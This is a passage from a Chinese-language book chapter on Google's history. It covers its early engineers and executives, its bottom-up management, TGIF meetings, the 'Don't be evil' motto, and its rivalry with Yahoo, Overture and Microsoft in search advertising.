搜索推向非英语用户。这件事只用了一两个工程师就完成了。因为缺人手，霍尔斯自己当系统管理员，直到Google 有了400 人时，每个工程师工作的账户还是由霍尔斯兼管。出身在德国的霍尔斯对工作的质量要求极高，他发现当一个网站服务器数量多到一定程度后，永远会有一些服务器会处于若机状态，虽然可以将用户请求转到别的服务器上，如果衔接得不好，用户体验就不好。而服务器之间，数据中心之间的服务请求如何转移里面大有学问。以前的互联网公司不管多么大，都没有重视这个问题，因为工程师们觉得这不是一个技术活。霍尔斯让他的一个学生来解决这个问题，要求做到从监控到流量的转移完全自动化。他的那个学生开始也觉得这个工作太没有技术含量不愿意做， 霍尔斯指出这不仅很有意义，而且很有研究价值，这个问题一旦解决， 就说明可以用廉价、质量稍差的服务器(比如PC) 提供和那些昂贵的高稳定性的服务器( 比如IBM 和太阳制造的大型服务器)同样可靠的服务。霍尔斯最终说服了他的这位学生接受这项工作，后者不负众望解决了问题。霍尔斯和他的学生解决的这个看似细小而又没有技术含量的问题，实际上恰恰是其他公司难以提供和Google 同样稳定的服务的原因。更重要的是，它使得Google 可以使用最廉价的服务器， 运营成本就比行业的其他公司低很多。霍尔斯现在在ghd 致力于打造Google 全球的网络架构和超级数据中心。\n不仅在工程上如此，在其他部门的早期员工也个个是精兵强将。在Google 还没有名气的时候，它遇到的一个很大的问题就是大的客户很少选择Google 的产品。这是所有新兴小公司都会遇到的问题，当它们把很好的产品展示给大客户时，大客户出于谨慎的考虑，总是希望小公司能证明它们的产品在同样规模的客户中成功使用过。这就陷入了一个鸡生蛋、蛋生鸡的悖论中。很多小公司永远迈不出这一步。Google 很幸运地请到了原来网景公司的销售副总裁科德斯坦尼来主管当时不到10 个人的Google 的销售业务。出生在伊朗的犹太裔科德斯坦尼是难得的销售天才，他在网景公司时不到一年就将该公司的销售额提高了两三个数量级。他来到Google 后马上就创造了奇迹，他成功地拿下了雅虎的搜索服务合同，当时Google 成立刚一年多，从此Google 名声大震。继雅虎以后，科德斯坦尼率领仅仅几个人的销售团队又一举拿下了美国在线的搜索和广告业务，并确立了Google 在搜索市场的主导地位。科德斯坦尼为人坦诚，很让商业伙伴信赖，但他的绝活却是虎口拔牙。2003 年，雅虎选择了Google 的竞争对手Overture 做为搜索广告供应商， 一般来讲它的日本分公司日本雅虎很自然地会和总公司保持一致。但是，科德斯坦尼居然拿下了一半日本雅虎的生意，这简直可以说是个奇迹。这一方面是靠科德斯坦尼个人高超的销售和谈判技巧，另一方面得益于工程部门密切的合作和高效率。外界对于Google 的成功一般归结于领先的技术，这的确是主要原因。但是Google 的营销能力也是同行业中数一数二的。\nGoogle 非技术部门的另一位传奇人物是首席律师戴维?德拉蒙德( David Drummond) 。德拉蒙德通晓财务和多国法律，而且是非常老道的谈判高手。德拉蒙德保证了Google 在所有的合同中几乎从来没有吃过亏。直到Google 上市前，几乎所有的合同都需要德拉蒙德最后敲定。在签署大合同前，德拉蒙德都会重新谈判一次所有的细节，将Google 的利益最大化。Google 的利润率很高，在一定程度上是因为有德拉蒙德这样的人为公司节省了大的开支。德拉蒙德是Google 上市谈判的两个负责人之一(另一位是CFO) ，面对华尔街生意场上的老油条们，德拉蒙德居然将那些投资银行的承包上市利润压到了最低，而一些大银行居然接受了免费为Google 服务。\nGoogle 早期的员工都是各自领域的佼佼者，每一个人的故事都能写一本书。正是靠这一个个精英， Google 才能创造历史。Google 的创始人和执行宫们并不同意三个臭皮匠能凑成一个诸葛亮的说法，在他们看来，再多的臭皮匠也起不了诸葛亮的作用。Google 前工程副总裁罗森毫不讳言地宣称，我们只需要天才。而能够找到各个部门这么多天才，虽然Google在吸引人才方面有成功的地方但也有很大的\"幸运\"因素。由于Google 很明智地没有在互联网泡沫高峰期疯狂地扩展，而是实实在在地、低调地做好自己的搜索引擎，因此它早期烧钱的速度非常之慢。2000 年的时候它没有急着上市，避免了绝大多数互联网公司大起大落并且最终关门的厄运，同时最早期的优秀人才没有拿了钱就走掉，因此Google 的骨干完好无损。当绝大多数五联网公司都关门时，拥有足够资金的Google不仅逃过一劫，而且一下子成为了全世界优秀人才的避风港。这些人至今是Google 的中坚力量。\nGoogle 以善待人才出名，对于每一个有缘加入Google 的人， Google 的创始人和执行官们都给予由衷的欢迎和充分的信任，并且让每一个人都成为Google 的拥有者。施密特说得很好， Google 不是我的公司，不是拉里和谢尔盖的公司，是我们每一个人的公司。而每一个人也实实在在地把自己当成公司的主人，而不是雇员。在这个基础上， Google 实行了一种自下而上的群众路线。大多数公司都是由执行官们制定战略规划，然后下到各级管理层，主管们负责执行，而下面每个员工则完成分配给自己的任务。在这种管理前提下， 一个部门的主管有着非常大的人事权力，包括人员的录用和提升。Google 和大多数公司自上而下的管理方式截然不同， 它将日常运作改成自下而上的。它鼓励每一个员工开动脑筋，提出自己能够发展公司的想法。事实上这是一道Google 的面试题， \"你认为如何可以改进Google\" ，或者， \"你来了以后将如何使我们变得更好\" 。这样，每个人都主动地开始工作， 并提出自己的想法。当然，一个公司需要有一个统一的目标，不能任何人想干什么就干什么，于是，自下而上的想法就要汇集到管理层讨论，有些获得支持并得到实施，有些不切实际的就予以搁置。这样的群众路线保证了每个员工能最大限度地为公司出力。这时管理层的工作就相对简单了，因此Google 公司的结构非常平一一每个人隔不了几层就能够得着CEO 了。同时，主管们的权力也受到下属的制约，他们可以否决录用某个不合格的人，却无权录用自己认为合格而同事们不喜欢的人，同时，他们可以决定不提升某个下属，但是不可能提升某个和自己关系好而同事们不看好的人。\nGoogle 这种管理模式要求每一个人有很高的水平、很高的自觉性和很高的热情。这也是Google 必须严格挑选每一位员工，而不能鱼龙混杂地先抬进来一大堆人， 然后让主管们去发挥自己的\"管理艺术\" 。在Google每一个主管都有几十个直接下属，如果录用了两个经常惹麻烦的下属， 或者一些能力较差的人，他们的管理艺术再高，也难以有时间将这个团队管好。Google 鼓励每一个人成为英雄，它希望每一个人都做出对公司有很大正面影响的贡献， 而不只是\"没有功劳也有苦劳\"的工作，并且它给予成为英雄的人很高的奖赏。\n每一个成功的公司都有很好的管理经验，这些经验只能参考不能照搬，Google 的也是一样。对于大多数公司来讲， 照搬这种管理方式一定会乱了套。\n17.5 绝代双骄\n要想让Google 早期这些背景和能力俱佳的员工都能在收入不高、前景不很确定的情况下团结一致把Google 从无到有办起来可不是一件容易的事。这里面创始人佩奇和布林的领袖魅力起了重要的作用。\n在Google 工作过的员工，不论是主管还是门卫，只要是和这两位创始人有过真正接触的人，都会对他们赞不绝口。Google 门卫对布林和佩奇的评价是\"世界上最好的老板\"， \"没有一点架子\"， \"又能干，为人又好\" 。公司外面的人即使和两位创始人只有短暂的接触，也会马上喜欢上他们的。一个周末，我回公司做点小事， 我太太随我一同去，在食品间遇到一位穿着很朴素的圆领T恤衫、像是大学刚毕业的小伙子。我和他寒喧了两句，便介绍我太太和他认识，让我太太大吃一惊的是，这位看上去就像一个普普通通大学生的年轻人，就是Google 公司的创始人布林。布林很随和，也颇为健谈，我太太和他虽然是初次见面，却没有什么陌生感，两个人谈得很融洽。当我太太提起他和拉里创办Google 改变了全世界人们使用互联网的习惯，布林谦虚地说，拉里和我只是开了个头，他指着我说， 工作都是他们做的。后来大家谈到了中国的互联网，布林讲他在学一些中文，只是太忙了，花的时间不够。\n一批参观过Google 的中国官员向我讲述了他们在Google 的\"奇遇\" 。那天他们参观完要在Google 大楼前合影留念，大家刚排好位置， 这时从大楼旁边的沙滩排球场上跑来一个刚打完球的小伙子，穿着一身运动服装。Google 的CEO 施密特看见他就把他请到前排的中间。这一群气字轩昂的官员很纳闷， 怎么跑来了一个\"楞头青\"，还往中间站。当施密特向大家介绍这位就是Go ogle 的创始人布林时，大家都大跌眼镜。\n在很长时间里，佩奇和布林都和大家一同吃晚饭。在饭桌上，大家都是平等的同事，会谈各自的生活。佩奇非常喜欢研究各种公司， 从他愿意学习的大跨国公司到Google 也许会感兴趣的几个人的小公司。偶尔佩奇会拿着一沓子他正在研究的公司的资料，和大家聊他的心得。当然，光是靠友好与和善是不足以办好公司的。佩奇和布林虽然年轻，却处处表现出知人善任的用人艺术、对技术发展准确的判断和独到的商业眼光。佩奇和布林遇到的第一件麻烦事就是如何动员那些资深的\"干将\"加入Google。 Google 的第一任工程副总裁罗森和我讲了他进Google 的经历。罗森原来是苹果公司的副总裁，开发了麦金托什的前身，后来在太阳公司当主管硬件的副总裁，和主管软件的施密特是太阳CEO 麦克尼利的左右手。后来他自己的公司被收购，处于临时赋闲状态，佩奇和布林马上找上他来主管Google 的工程部。经过和Google 两位创始人和主要负责人的会谈，大家对罗森都非常满意。但是这时罗森向佩奇提出了几个问题，并且声明如果佩奇不能给他满意的答案，他不会加盟Google 。佩奇给他看了一条曲线和一些东西(很抱歉在这里我必须保留细节) ，佩奇向他证明了Google 的生意将长期近乎指数增长。罗森看了后非常惊讶，他后来讲，我当时就感觉， 只要能做好， Google 的生意就像印钞机一样，可以无穷无尽地发展，他马上就决定加盟Google 。\nGoogle 成功的直接原因是通过关键词广告打开了互联网的广告市场，而策划和实施这个项目的便是佩奇。佩奇在整个关键词广告系统的开发过程中体现出超人的远见和管理能力，很让投资人佩服。很多人认为Google的成功是凑巧\"蒙对了\"搜索广告的业务所以盈利并快速成长，这种说法多少有些机会论。《华尔街日报》的一篇文章则认为因果关系应该反过来，是Google 将搜索广告业务变成了金矿。\n微软的成功很大程度上得益于盖茨对于微机发展方向的把握，并引导整个行业往有利于自己的方向发展。而在互联网时代，佩奇和布林对于互联网的发展方向把握得比其他公司的领袖们更准确。更重要的是他们将用户使用互联网的习惯从浏览转向了搜索，在这新的游戏规则下面， Google 抢到了和以前门户网站竞争的制高点。他们确定了Google 产品设计的指导思想必须突出搜索，淡化浏览。因为如果强调了浏览，必然把用户推到门户网站去。后来雅虎和微软的MSN 与Google 拼搜索，实际上是\"着了Google 的道\"，因为一旦拼起搜索，就必须遵守Google 制定的游戏规则。现在，搜索对于网民越来越重要，这和佩奇和布林看似不经意实际上是刻意改变网民上网的习惯有关。当搜索变得越来越重要后，搜索广告也就变得越来越值钱， 这就是在2007 年Google 以不足雅虎的浏览量，却产生了雅虎两倍的利润的原因。\n2003 年Google 正式的CEO 施密特上任后，布林和佩奇不再需要操心公司运营的很多具体事了，他们俩便抽出时间更多地思考公司发展的大方向。至今他们大的决策都比较成功。2005 年，除了Google 、雅虎和微软三家大的搜索引擎外，还有两个搜索量不容忽视的公司美国在线和Ask Jeeves 。微软想通过赔钱赚吆喝的办法从Google 手中抢走美国在线，但是Google 在最后一刻以注资美国在线10 亿美元的方式击退微软，这是需要准确的判断和魄力的。这样，拖延了微软进入搜索广告的时间。接着，Google 抢先微软收购YouTube ，并且拿下MySpace的广告经营权。至此，Google 将微软和雅虎以外全球所有大流量的网站的搜索广告全抢到手里，并且在互联网2.0 上完成了非常漂亮的布局，在5 个互联网2.0 的主要公司MySpace 、YouT ube 、Facebook 、Orkut 和Blogger 中， Google 拥有三家一一YouTube 、O rkut 和Blogger ，同时有一家合作伙伴MySpace 。要不是因为Facebook 开价太高， Google 也打算注资了。也许是吃了没有投资Facebook 的亏，当Twitter 开始风靡美国时， Google 马上和它达成合作。作为Google 最大的股东和决策者，佩奇和布林处处显示出超人的商业头脑和准确把握新技术的能力。正是因为这些原因，佩奇和布林在Google高管和老员工中的威信一直极高。\n17.6 感谢上帝，今天是星期五(TGIF)\nGoogle 的一项很有特点的活动叫做TG IF ，它是英语Thanks God, it's Friday 首字母的缩写，翻译成中文是\"感谢上帝，今天是星期五\" 。世界各国不论是学生还是工作的人大概到了星期五的下午都特别高兴，因为忙碌了一周终于可以喘口气，可以休息一下或娱乐一下。在美国，很多大学星期五下午有学生们自己办的幸福时光聚会( Happy Hour ) ，大家在一起聊聊天，吃点玉米片、土豆片和比萨饼，有时还会喝酒。美国还有一家颇有名头的连锁饭馆，就叫TG IFriday ，里面的烤嫩猪排( baby ribs) 很不错。Google 公司保留了很多大学的习惯，包括每周五下午固定的幸福时光， Google 就称之为TGIF 。\n活动一般是下午4 : 30 正式开始，佩奇、布林和施密特都会尽量到场。TGIF总是在公司能找到的最大的房间或大厅举行，到后来已经没有一个大厅能够容纳所有的员工了，只好分为主会场和分会场。在活动开始以前，大约四点钟，总是提供一些精致的茶点和饮料。茶点除了点心，还有熏制三文鱼和寿司卷等荤菜， Google 周五晚上不开饭， 没有成家的员工就靠这些茶点吃个半饱， 回去后也就不再吃晚饭了。由于美国公司上班时包括午餐均不能饮酒精饮料，周五下午的TGI 是唯一在公司能饮酒的时间。公司会提供加州的红葡萄酒和白葡萄酒以及各种啤酒。我到公司半年时间里， 就把在美国能买到的全世界各种啤酒，包括一些中国的啤酒品尝了一遍。这半小时里，平时忙碌了一周的同事们会举着酒杯谈天论地。\n活动的第一项总是介绍这一周新加人的员工。开始会仔细介绍每一个人，每个新员工也有机会介绍自己。后来公司大了，只能读一下每个新员工的名字，同时在投影机上显示一些他们的简历， 但是，创始人还是会向每个新员握手欢迎。再后来，每周来的新员工已经多到无法一一报名了，只好宣布一下世界各地每个Google 办公室新人的数量。\nTGIF 的第二项就是由工程部宣布过去一周的成果，当公司比较小的时候，还有时间仔细介绍每一项工作，尤其要感谢在其中做出贡献的每一个人。这样每一个人的工作都可以得到认可，创始人和主管们也可以了解每个人的工作。后来公司大了，只好列举一下主要的成果了。接下来， 工程部要宣布这一周模块测试竞赛( unittest )获胜的工程师， 他将获得一个证书和一百美元的奖金。Google 为了保证工程师们所写程序的质量，鼓励大家多写测试程序。\n等工程部的事情介绍完毕，其他部门会一一介绍自己部门的成就。其中最令人兴奋的就是由市场和营销的副总裁科德斯坦尼介绍市场开拓和销售业绩。根据Google 的传统，科德斯坦尼会站到一个大沙袋上来宣布他的好消息。他不仅会介绍在过去的一周里签下的大合同，包括合同的一些细节，而且会介绍公司的营业额和现金数量。这些对于任何公司来讲是绝对的商业机密，是不应该和所有员工分享的。但是，佩奇和布林开了个先例。当2001 年施密特加人Google 当CEO 时，对这种做法感到不可思议而且害怕，因为似乎无法保证Google 的机密不因此泄露出去。因此，施密特一开始不赞成这种做法。后来他发现了这里面的妙处，便转为支持。在Google 未上市以前，每个员工的工资都不高，而手里的股票又无法兑现，这样难以维持队伍的稳定。Google 经常宣布营业额等信息，让所有的员工看到公司的发展前景，施密特发现这样可以保持员工高昂的干劲。当时Google 发展得非常快，几乎用不了几个月营业额就能翻番。同时，创始人将这些信息拿出来和大家分享， 也表示了和大家平等创业的宗旨。在Google 上市前很长的时间里，科德斯坦尼的信息一直是大家的精神支柱。Google 员工了不起的地方在于当公司已经有上千人的时候，居然所有的人都能守口如瓶，没有让外界了解公司的营业额。当然，在Google上市以后， Google 再也不能介绍这样和商业机密有关的信息了。\nTGIF 是Google 文化的最大特色之一， 它很大程度上源于佩奇和布林与大家同甘共苦的理念。尤其是在早期，它让每一个员工看到了公司的希望。TGIF 结束后，一些单身的员工会一起去看电影，这活动原本是梅丽莎? 梅耶尔( Marissa Mayer )和几个早期工程师一周唯一的消遣方式。后来施密特当CEO 后，梅耶尔说服了施密特掏腰包，从此这成为了公司的一项活动和员工的福利。当然不再是每个周末都有电影看，而是在大片公演的首映场次，由公司包下AMC电影院全部的放映厅。根据惯例，每个员工可以带一名\"自己最重要的人( Significant Other )一起去。\nGoogle 像一个大家庭，大家虽然工作很辛苦，收入不高，但是过得开心。\n17.7 不作恶\n不作恶( Don't be evil )是Google 不成文的口号和行为准则。在物欲横流的今天和尔虞我诈的商业竞争中，能提倡不作恶并且一直做到这一点非常难能可贵。\n很多人可能不知道\"不作恶\"并不是佩奇和布林提出来的，而是两位早期的员工保罗? 布克海特( Paul Burchett) 和阿米特? 帕特尔( Amit Patel ) 最先提出的。布克海特是Google 的Gmail 的发明人，他现在已经离开了Google，成为了独立的天使投资人。帕特尔是一位数学家，是Google Trend 的发明人，也是面试我的几个人之一。我到了Google 后发现帕特尔居然和CEO 施密特坐在一间办公室里。作为一位普通工程师，帕特尔的工作和CEO 没有直接关系。后来才知道这是帕特尔自己要求的，而施密特就答应了他。当然这是题外话了。\n什么是不作恶，用中国的古话讲就是要做正人君子。当然，不作恶反映在商业上，就是要公平地和对手竞争，而不采用非正常的手段。2002 年，除了微软以外的主要门户网站都采用了Google 的搜索引擎，只有微软还在采用长期亏本、摇摇欲坠的lnktomi 公司的服务。当时Inktomi 的市值只剩下一亿美元，比巅峰时掉了99%. 很多业界的人都认为这时Google 如果买下lnktomi 并关闭其服务，便可以轻而易举地垄断整个搜索业务，但是Google 没有这么做。身在硅谷的Google 深知很多硅谷公司深受垄断导致的恶意竞争之苦，整个硅谷当时对蓬勃发展的Google 寄予厚望，希望通过和Google 的合作来反抗垄断。如果Google 采用这种虽然合法但却是恶意的收购手段来清除对手， 将令整个硅谷失望。所以， Google宁可让雅虎将lnktomi 买走并成为了自己在搜索领域的对手，也没有做损人利己的事。Google 这种君子之风，日后得到了巨大的回报。几乎硅谷所有的公司都将Google 视为一个可以信赖的朋友。当Google 推出自己的软件下载包( 官方称呼是Google 精品) 时， Google 找到很多软件公司希望它们将自己的软件通过Google 免费提供给用户，包括Adobe 、赛门铁克等多家知名的软件公司都非常配合，并答应了Google 的要求。即使是Google 主要的竞争对手雅虎，在遇到困难时，也会向Google 求救。这样Google 在整个IT 领域，除了一家公司以外，没有任何大公司与它为敌；而它的那个对手，在整个IT 领域，几乎没有一个大公司朋友。\n不作恶还表现在做事的客观和公正。这首先反映在Google 对待搜索结果的排名上。搜索结果的排名关键取决于两个因素，网页和查询的相关性及网页本身的质量。Google 有很多科学家和工程师研究\"相关性\"问题，而佩奇和布林发明的网页排名( Page Rank) 算法是解决后一个问题的。当然，由于算法总是不可避免地存在这样或那样的缺陷， Google 的网页排名也不是十全十美的。针对这种情况，最简单的办法就是通过手工把明显的错误改过来。很多搜索引擎就是这么做的， 但是Google 没有。Google 的创始人佩奇和布林知道，一旦开了手工调整搜索结果的先例，以后就难免不依照个人的好恶对网页进行主观的排名。从长期来看， 这样将使搜索引擎失去公正性，并失去用户的信赖。因此， Google 宁可有些查询给出不是很相关的搜索结果，也拒绝人为调整。为了做到尽可能保证大多数查询结果能让用户满意， Google 长期在研究和工程上投入大量的人力和财力，不断改进搜索排名算法。\n当Google 的搜索引擎变得非常流行后，很多公司找到Google 愿意出钱将自己的搜索排名在Google 的结果中往前靠，但是Google 坚持搜索排名不出售的政策。如果想通过Google 的流量来做广告， Google 是非常欢迎的，但是， Google 在它的页面中注明哪些是广告商的链接，哪些是搜索结果。很多人和公司认为Google 的这种做法实在有些傻气，在他们看来，Google 把一些愿意出钱的商家的排名往前提，能多一份收入，商家们也高兴， 岂不是两全其美的好事? 然而， Google 的创始人不这么认为，他们说\"我们的用户在他们做决定时是相信我们提供的信息，因为我们的搜索结果是我们用已知最好的算法产生的，它们公正而且客观，并且没有受到任何钱的影响。我们在搜索结果旁边也显示广告，但是我们总是尽量要让广告和查询相关，并且表明这些是广告。就如同在严肃的报纸上，文章的内容是不受任何广告商影响的。我们的信条是让每一个人能够访问最好的信息，而不只是付费广告商提供的信息。\" Google 这种做法在短期失去了一些来得很容易的钱， 但是却使它在网络搜索中的市场份额不断地增长。\n在物欲横流的今天，为什么Google 能够洁身自好?因为它的创始人、它的执行官和大部分员工都懂得，要想长期发展，就必须在整个工业界、在大众中树立良好的形象并赢得大家的信赖。Google 的创始人非常佩服巴菲特追求长期发展的眼光，并且在Google 日常工作中运用了巴菲特的很多做法。巴菲特在经营它的伯克希尔-哈撒韦公司时，选定了一家银行的总裁查尔斯?芒格( Charles Munger )作为自己的合作伙伴。巴菲特有一次公开讲述了他选择芒格的主要原因。那时芒格为很多有钱人打理财务，在一次金融风暴中，全世界所有投资人都蒙受了很大的损失。一些心慌意乱的投资人通知芒格，希望把自己的投资撤出来。虽然芒格和大家讲，根据他的经验和判断，损失是暂时的并且能够很快弥补回来，但是很多人因为害怕今后损失更多，还是宁可损失一些投资也撤资了。果然，过不了多久股市的大牛市就来了。没有撤资的人不仅弥补了损失还赚了不少钱，撤资的人的损失当然就永远不可能回来了。但是，芒格依然补偿了那些撤资人的损失!这种风格在尔虞我诈的华尔街简直是异类。巴菲特就是通过这件事觉得芒格是个完全可以信赖的人并选中了他。这两位投资大师在以后的几十年合作得亲密无间，共同创造了伯克希尔-哈撒韦每股12万美元天价的神话。Google 在其成长的过程中也遇到了类似的情况。在Google 早期，它为了谋求雅虎的支持，同意让雅虎在一定时间内以很低的价钱购买自己的股票，这个价钱现在看来近乎是白给。但是，互联网泡沫破碎后，雅虎并不看好Google ，因此放弃了低价收购Google 股票。等到Google 快上市时，雅虎发现如果当初收购了Google 的那些股票，自己将多出上亿美元的投资收入，于是找到Google ，希望还能以当初的价钱收购Google 的股份。从法律上讲， Google 没有这个义务把雅虎放弃掉的股份还给雅虎，但是， Google 在和雅虎谈判后，还是给了雅虎很多的补偿。\nGoogle 不作恶的做法，其实是它长期发展重要的保障。\n17.8 不败的神话\n2000 年， 不到两岁、不到百人的Google 一举击败了市值高达百亿美元的当时第一大搜索引擎公司Inktomi ，成为雅虎的搜索服务商，从此开始了Google 核心业务在商业上不败的神话。在Google 以前，除了AltaVista外，几乎所有大网站，包括雅虎和MSN 的搜索都采用I nktomi 的引擎。在竞标雅虎的搜索合同中，起了决定作用的当然首先是Google 明显优于Inktomi 的搜索技术，然后是几个关键人物一一雅虎的两位创始人杨致远和菲洛， Google 的创始人佩奇和布林，以及Google 主管营销的副总裁奥米德，他们都是斯坦福计算机系的校友。对Google 来讲，和雅虎合作的广告效益远远高于经济上的收益，很多人，包括我本人就是这么知道Google 的。Google 从来不在媒体上替自己做广告，但是，和雅虎的合同就是一个大广告。\n2001 年， Google 几位工程师，在创始人佩奇直接领导下，继Overture 以后，推出基于搜索的广告系统一- Adwords 。在2000 年互联网泡沫时代，各个网站为了生存，在自己的网页中加入许多不仅和内容无关，而且非常烦人的图形广告和弹出式广告。而这些广告，不管是否有用，都很少有人点击，广告费花得很冤枉。久而久之，这种干扰读者的广告弊端渐渐显示出来了。首先由于广告没有针对性，点击量很少，偶然有几个点击还可能是读者不小心点的，这样的点击很少能带来真正的生意，于是广告商愿意出的钱越来越少。到互联网泡沫崩溃时，这种横幅图像广告和弹出式广告的收益只有每千次几十美分。而放置大量广告的网站，不仅乱七八糟的广告恼人，而且速度慢，从长期来讲会失去顾客。因此，很多商家出高价想把自己的横幅图像广告放到Google 的网页上去，但Google 始终坚持不做横幅广告。而Google 推出的Adwords 广告，放在搜索结果的右边，占的版面不大，不干扰用户阅读正文内容。很多人使用Google 多年，甚至没有注意到Google 在搜索结果旁边投放的广告。Google 这种干净整洁的页面很受欢迎，因此Google 的用户数量稳定增长。同时由于Google 投放的广告和用户要搜索的主题相关，因此点击率非常高，而且从广告点击到在线购买的转换率也非常高， 一下子赢得了互联网商家的青睐，这些广告商愿意出10 倍于横幅广告的价钱在Google 买关键词广告。因此Google的营业额每个季度呈指数增长，从此开始实现了盈利并且首次现金流入超过了支出。\n由于Overture 早于Google 推出搜索广告系统，它在和Google 的竞争中已经占了天时。2001 年底， Overture 的广告系统覆盖了除Google 以外所有大的网站， Overture 的市值相当于当时雅虎的一半。Google 则依靠技术实力，后发制人。奥米德找到了当年收购了他任要职的网景公司的美国在线，推广Google 的搜索引擎和Adwords 服务。在奥米德的团队里，只有很少的销售人员，反倒有不少帮忙的Google 工程师。奥米德完全依靠自己的推销能力和背后的技术，最终说服了美国在线试用Google 的关键词广告技术。美国在线很快就尝到了甜头， 因而加入Google 的广告联盟，并采用Google 的搜索引擎。这一消息传出的当天， Overture 的股价暴跌40% 。而Google 一举夺得了全球2/3 的搜索量。\n此时的Overture 仍然比Google 拥有更多的收入和利润，同时它依然控制着雅虎和微软的搜索广告服务。但是， Google 以闪电般的速度不断打出重拳。几个月后， Google 再次从Overture 手中抢到Ask Jeeves 的关键词广告业务， Overture 的股价再次下跌1/4 。在这中间， Google 还夺下了诸如《纽约时报》网站等著名在线媒体的搜索广告业务，它超过当初搜索广告业龙头老大Overture 只是一个时间问题了。果然到了第二年即2003年， Google 便超过了Overture ，抢得了搜索广告市场的头把交椅。这时，雅虎注意到当年的小兄弟Google 已经不是吴下阿蒙了，开始在技术上和市场上同Google 展开了直接的竞争。\n网络泡沫的破碎帮助雅虎清除了它苦日的主要竞争对手Excite 、Infoseek 和Lycos 等公司。2003 年，美国经济走出低谷，雅虎等为数不多的网络泡沫后的幸存者迅速占领了那些被迫关门的网络公司留下的市场。这一年，雅虎的业绩和股价都比前一年涨了很多倍，但是为了保持高速发展就必须有新的成长点。雅虎通过和Overture 合作，看到了搜索广告的潜力，它很早就有心收购Overture ， 但是由于Overture 当时的市值( 30 多亿美元) 近乎雅虎( 80 多亿美元)的一半，雅虎没有财力收购它。于是决心打造自己的搜索引擎和搜索广告系统。并不以技术擅长的雅虎在战术上做得非常漂亮，它抢先于微软收购了当时第二大搜索引擎公司lnktomi 。据雅虎当时的CEO 塞缪尔后来讲，雅虎当时也有心收购Overture ，只是后者当时市价太高而暂缓。2003 年夏天， Overture 收购了AltaVista ，准备自己打造搜索引擎。由于AltaVista 的技术过时，系统长期没有更新，用户数不断下降。Overture 又不得不收购另一家搜索引擎公司Fast 。这家公司虽然不大，但它的技术却有新意。只是Overture 还没来得及将两个搜索引擎整合到自己的系统中，就败给了Google。此时雅虎的市值已经超过200 亿美元，塞缪尔手头稍微宽松了些便再次出手，以16 亿美元不错的价钱抢在微软前面购得了Overture 。从此，雅虎有了和Google 竞争必需的搜索引擎和广告系统。在整个通过廉价收购lnktomi 和Overture等一系列公司的过程中，雅虎抢在了它的老对手微软的前面，以最短的时间打造了自己的搜索引擎和广告系统。在此后的相当长时间里，微软作为Inktomi 和Overture 的使用者， 一直在向它的对手雅虎交钱。\nGoogle 当时的服务项目只有网页搜索一项，而雅虎的服务则是无所不有，再加上雅虎相比Google 拥有更雄厚的财力，当时很多人虽然认为Google是一家不错的公司，但是都不认为Google 能取代雅虎成为最大的互联网公司。不仅如此，由于雅虎当时和Google 签订的搜索服务合同还没有到期， Google 依然为它提供服务，雅虎在一年的时间里， 可以得到全部的Google 搜索结果，而Google 却看不到雅虎的搜索结果。也就是说雅虎在暗处，而Google 在明处。一般在这种情况下，处在Google 这样劣势的公司几乎没有胜利的可能。我当时在Google 的搜索质量部门，该部门负责搜索结果的排名。在2003 年夏天， 我们谈论的都是如何应对来自雅虎包括潜在的微软的挑战。布林有一阵子经常参加我们的例会，可见公司对搜索质量的重视。我们当时并没有太多地考虑我们的对手可能怎么做，而是认为只要我们自己能前进得快，甩开所有的对手就安全了。在这一思想指导下，我们不断地改进推出搜索排名，在雅虎和Google 搜索服务合同到期以前，已经把雅虎搜索甩在了后面。这一年，虽然Google 的营业额依然落后于雅虎，但前者的搜索广告收入不仅领先于后者，而且每次搜索平均带来的收入要高得多。这就是日后华尔街建议雅虎干脆自废武功，把搜索和广告部门都裁撤掉，干脆用Google 的服务分成算了。但直到三年后雅虎才懂得这个道理，终于找到Google 在搜索广告方面进行合作。\nGoogle 和雅虎争夺互联网第一的战争至此其实胜负己决，虽然表面上看雅虎的营业额略高些，但是它相对Google 的劣势越来越明显。Google 靠着每个季度两位百分数的成长，业绩年年翻番， 上市后不到一年就超过了增长缓慢的雅虎。很明显， Google 是赢在技术上。本来，雅虎和Google 各有千秋。Google 擅长技术，和雅虎相比， Google 在每个位置上，从主管、技术带头人和到下面的工程师，都比雅虎同样位置上的人高一个档次。但是雅虎却有作为媒体公司长期的优势和健全的品牌广告销售网， Google 在这方面却是空白，这也是Google 后来不得不收购双击公司的原因。如果雅虎能扬长避短，放弃和Google 在技术上的竞争，而把竞争引向非技术领域一一内容，未尝不能和Google 平分秋色。遗憾的是，雅虎用自己的短处去比别人的长处，就不得不接受Google 指定的游戏规则-一技术决定成败。在这种情况下的竞争结果其实已经没有悬念了。\n在2004 年时，恐怕没有人会预料到雅虎败得如此之快。华尔街显然就没有预料到，它们总是给雅虎的股票更高的估价;雅虎自己也没有意识到，它沿着错误的路线走了很久。而Google 可能也没有想到它就这么轻而易举地赢了这场本该很激烈的竞争。但是， Google 面临的竞争并没有因此而结束，一个更强大的对手在等着它了。这个对手就是让IT 领域所有公司都敬畏的微软。\n我们在前面一章提到，当一家公司主导了整个市场时，它就必须寻找新的成长点了。微软在Windows 和Office 上占领市场以后就处在这种状态。微软第一个成长点找在了游戏上，它靠倾销的方式很快让它的游戏机Xbox 占得了一席之地，但是，盈利却遥遥无期。2003 年以后，微软渐渐看到了互联网搜索业务的重要，并宣布进入该市场。这对于快速发展的Google 无疑是一个坏消息。从历史上看，当一家公司的核心业务受到微软严重挑战时，它的厄运就开始了。苹果公司、网景公司、太阳公司、Novell 公司和RealNetworks 都是如此。微软不仅有全世界最优秀的人才，技术和最快的执行力，而且它更善于利用其操作系统所处的垄断地位，通过非技术手段战胜对手。Google 是否能独善其身，引起了大家的关注，更引起大家的怀疑。Google 在上市前后，股价并没有为整个华尔街一致看好，就是大家担心Google 也会一朝被微软挤垮。\n有了苹果和网景等公司的前车之鉴， Google 及早地做好了迎战微软的准备。第一，根据Google 一贯\"快速向前跑，不要看两边\"的风格，它的核心技术和运营部门要赶在微软还没有推出搜索引擎和搜索广告系统以前拉开和微软的差距，抢占制高点。除了把技术做得更好外， Google 很有先见地第一个打造自己的超级数据中心。在上市后的前几个季度里，Google 大量融资，并且将大量的现金投到了数据中心的建设上。华尔街很多投资人并不理解，觉得Google 在瞎花钱，事实证明Google 的做法是对的，它抢到了和微软竞争的制高点。\n第二，和微软竞争人才。Google 懂得商业竞争的胜败最终是由人来决定的，尤其是在其他条件同等的情况下。Google 早期因为资金短缺，只能维持在山景城的一个研发中心。2001 年ATT 实验室和贝尔实验室大量裁员， Google 